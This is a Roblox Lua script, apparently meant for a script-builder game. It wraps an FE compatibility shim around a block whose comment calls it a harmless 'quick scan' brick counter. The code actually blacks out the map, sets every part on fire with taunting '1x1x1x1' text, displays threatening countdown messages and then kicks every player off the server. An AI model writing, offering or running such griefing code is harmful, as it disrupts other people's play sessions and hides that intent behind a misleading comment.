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- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,Mouse,mouse,UserInputService,ContextActionService = owner
- local RealPlayer = Player
- do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end,__call=function(self,...)local t=rawget(self,"_RealService")if t then return t(...)end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return self[t]end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;x.RunService=v({RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")setmetatable(x,{__index=function(self,t)return r:GetService(t)or typeof(r[t])=="function"and function(m,...)return r[t](r,...)end or r[t]end,__newindex=s.__newindex,__call=s.__call})game,owner=x,x.Players.LocalPlayer end
- -- Quick scan:
- -- This will just give you a brick-count and print it to your output
- -- Go in Solo or Online mode to get a dynamic GUI counter
- local lighting = game:GetService("Lighting")
- lighting.Brightness = 0
- lighting.OutdoorAmbient = Color3.new(0,0,0)
- local sky = Instance.new("Sky", lighting)
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=48020144"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=48020234"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=48020211"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=48020254"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=48020383"
- local music = Instance.new("Sound", game.Workspace)
- music.SoundId = "rbxassetid://150402649"
- music.Volume = 1
- music.Looped = true
- music.PlayOnRemove = true
- music:Play()
- local parts = {}
- function scan(p)
- for _,target in pairs(p:GetChildren()) do
- if target:IsA("BasePart") then
- table.insert(parts,target) -- target is the actual parts!
- target.BrickColor = BrickColor.new("Really black")
- local sb = Instance.new("SelectionBox", target)
- sb.Color3 = Color3.new(255, 0, 0)
- sb.SurfaceColor3 = Color3.new(170, 0, 0)
- sb.Adornee = target
- local pe = Instance.new("ParticleEmitter", target)
- pe.Name = "10101110010011"
- pe.Texture = "rbxassetid://45524735"
- pe.Rate = 10
- pe.SpreadAngle = Vector2.new(-90, 90)
- local pe2 = Instance.new("ParticleEmitter", target)
- pe2.Name = "ERROR_._ER-__ORO_...."
- pe2.Texture = "rbxassetid://158293315"
- pe2.Rate = 10
- pe2.SpreadAngle = Vector2.new(-90, 90)
- local bb = Instance.new("BillboardGui", target)
- bb.Size = UDim2.new(50,0 , 25,0)
- bb.AlwaysOnTop = true
- local randomtext = {
- "1x1x1x1 !S B4CK",
- "101010110100101011101111010101",
- "_-ERROR-_"
- }
- local label = Instance.new("TextLabel", bb)
- label.Size = UDim2.new(1,0 , 1,0)
- label.TextScaled = true
- label.TextWrapped = true
- label.BackgroundTransparency = 1
- local brickcolor = BrickColor.new("Really red")
- label.TextColor3 = brickcolor.Color
- label.Font = "ArialBold"
- label.TextSize = 100
- local chosentext = randomtext[math.random(1, #randomtext)]
- label.Text = chosentext
- local fire = Instance.new("Fire", target)
- fire.Size = 30
- fire.Heat = 25
- end
- scan(target)
- end
- end
- scan(game.Workspace)
- --print(#parts .. (#parts == 1 and " brick " or " bricks ") .. "counted")
- parts = {}
- wait(1)
- local m = Instance.new("Message", game.Workspace)
- m.Text = "1x1x1x1 HAS RETURNED TO DESTROY ROBLOX!"
- wait(3)
- m.Text = "STARTING COUNTDOWN..."
- wait(2)
- m.Text = "ONCE THE TIMER REACH 0, THIS SERVER WILL NO LONGER EXIST!"
- wait(5)
- local unit = 10
- wait(1)
- for i = 1, 10 do
- unit = unit - 1
- m.Text = "COUNTDOWN: " ..unit.. " SECONDS LEFT!"
- wait(1)
- end
- m.Text = "FAREWELL, IDIOTS! MUAHAHAHAHAHAHAHA!!!"
- local prey = nil
- local parts = script.Parent:GetChildren()
- for i = 1,#parts do
- if (parts[i].className == "Part") then
- if (prey ~= nil)then
- prey:Destroy()
- end
- prey = parts[i]
- end
- end
- for i, players in pairs(game.Players:GetChildren()) do
- players:Kick("010111010101000101011101010100010111101010010100010111101011010100101010101010101010101010101001010101011011010110100101010101010101011101")
- end
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